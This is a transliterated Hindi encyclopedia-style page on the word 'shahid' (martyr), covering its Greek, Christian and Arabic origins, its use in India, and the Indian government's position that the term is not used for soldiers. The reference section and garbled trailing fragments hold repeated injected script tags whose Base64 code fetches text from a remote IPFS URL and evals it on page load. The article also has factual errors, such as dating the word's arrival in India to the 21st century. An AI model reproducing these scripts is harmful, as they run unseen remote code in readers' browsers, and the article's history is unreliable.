शहीद

shahid (aangrezi: Martyr - martiyar) arabi bhasha ka shabd hai. is shabd ka prayog us vyakti ke lie kiya jata hai, jisaki maut ek saza ke taur par huee ho, jisane dharm ke lie tyag se inakar kar diya ho ya phir vah vyakti jo apani dharmik ya rajanitik astha ke lie mara gaya ho.

itihas

'shahadat' shabd ko aangrezi mean 'Martyrdom' aur 'shahid' ko 'Martyr' kahate haian. agreji ki dikshanari Merriam Webster mean 'Martyrdom' shabd ki paribhasha di gee hai, jisake anusar jo vyakti kisi aham vajah, mukhy taur par dharmik vishvas ke lie apani jan deta hai use shahid kahate haian. is shabd ka ju dav shuruat se hi eesaee dharm se raha hai. eesaee dharm ke shuruati 200 varshoan ki bat karean jab eesa masih ki hatya kar di gee thi to eesaeeyoan ko roman samrajy mean bahut yatanaean di jati thian. aise mean in yatanaoan se marane valoan ko shahid kaha jata tha.^[1]

yah shabd mukhy roop se prachin grik ka shabd hai, baibil jo ki mool roop se prachin grik mean likhi gee thi, usamean is shabd ka jikr hai; lekin bad mean is shabd ka istemal un logoan ke lie kiya jata tha jo dharm ke lie apani jan dete the.

arabi bhasha ka shabd

shahid shabd ki bat karean to 7vian sadi mean islam ke ane ke bad is shabd ka istemal kiya jane laga tha. quran mean bhi is shabd ka istemal kiya gaya hai, yah arabi shabd hai. islamik l daee mean jo log jane dete the, unhean shahid kaha jane laga tha. sunni islam mean dharm ke lie jan dene valoan ko shahid ka darja diya jane laga tha. karbala ki l daee mean chauthe khalipha ali aur unake baite husain ki kurbani ko islam dharm mean sabase b di shahadat mana jata hai aur isi ke bad se har varsh muharram mean log unaki shahadat ka matam manate haian. aise mean shahid shabd ka istemal mukhy roop se dharm ki l daee aur islam mean kiya jata hai.

bharat mean shahid shabd ka itihas

21vian sadi mean shahid shabd arabi bhasha se bharat pahuancha aur yah urdoo aur hindi bhasha mean istemal hone laga. 20vian aur 21vian shatabdi mean is shabd ka istemal mukhy roop se rashtravadi pratirodh aandolanoan ke lie hone laga. philistin aur ijarayal ke bich kaphi lanbe samay se sangharsh chal raha hai aur philistin mean shahid shabd ka kaphi istemal hota hai. hiandi bhasha mean bhi is shabd ka istemal hone laga. bharat mean svatantrata aandolan ke dauran bhi shahid shabd ka istemal kiya jata tha. aj bhi shahid bhagat sianh, shahid rajaguru, shahid sukhadev kaha jata hai.^[1]

bharat sarakar aur sena

bharatiy sena aur raksha mantralay kee bar yah saph kar chuka hai ki sena ki niyamavali mean kahian bhi Martyr ya shahid shabd ka istemal nahian kiya jata hai. lihaja agar sainik l daee ke dauran mara jata hai to use battle casualty kaha jata hai. jab koee pulisakarmi l daee ke dauran mara jata hai to use grih mantralay operation casualty kahati hai. yah saval sansad mean bhi utha tha aur 22 disanbar, 2015 mean grih mantralay ki or se keandriy mantri kiran rijijoo ki or se likhit javab diya gaya tha. jisamean kaha gaya tha ki shahid ya Martyr shabd ka prayog na to sena aur na hi keandriy sashastr bal ke lie kiya jata hai. yahi nahian 2017 mean isako lekar ek aratiaee bhi ki gee thi aur yah mamala siaeesi tak gaya tha, jisamean raksha mantralay aur grih mantralay ne kaha tha ki ham shahid shabd ka istemal nahian karate haian.

sanvidhan ki mool bhavana ke viruddh

yah samajhana aham hai ki bharat ke javanoan ke balidan ke lie jyadatar hindi bhasha mean 'viragati' ya phir 'sarvochch balidan' shabd ka istemal kiya jata hai. isaki b di vajah yah hai ki desh ke lie jan dena kisi bhi nagarik ke lie sarvochch balidan hota hai. yahi nahian bharat ke sanvidhan ke anusar ham ek sekyular desh haian aur hamare desh ka koee dharm vishesh nahian hai, lihaja shahid aur Martyr shabd ka istemal na sirph niyamoan balki sanvidhan ki mool bhavana ke khilaph hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 janie akhir kyoan sena aur sarakar javanoan ki maut par unhean shahid nahian kahati (hiandi) hindi.oneindia.com. abhigaman tithi: 13 march, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[pp-1] 1.0 ^1.1 ^1.2 janie akhir kyoan sena aur sarakar javanoan ki maut par unhean shahid nahian kahati (hiandi) hindi.oneindia.com. abhigaman tithi: 13 march, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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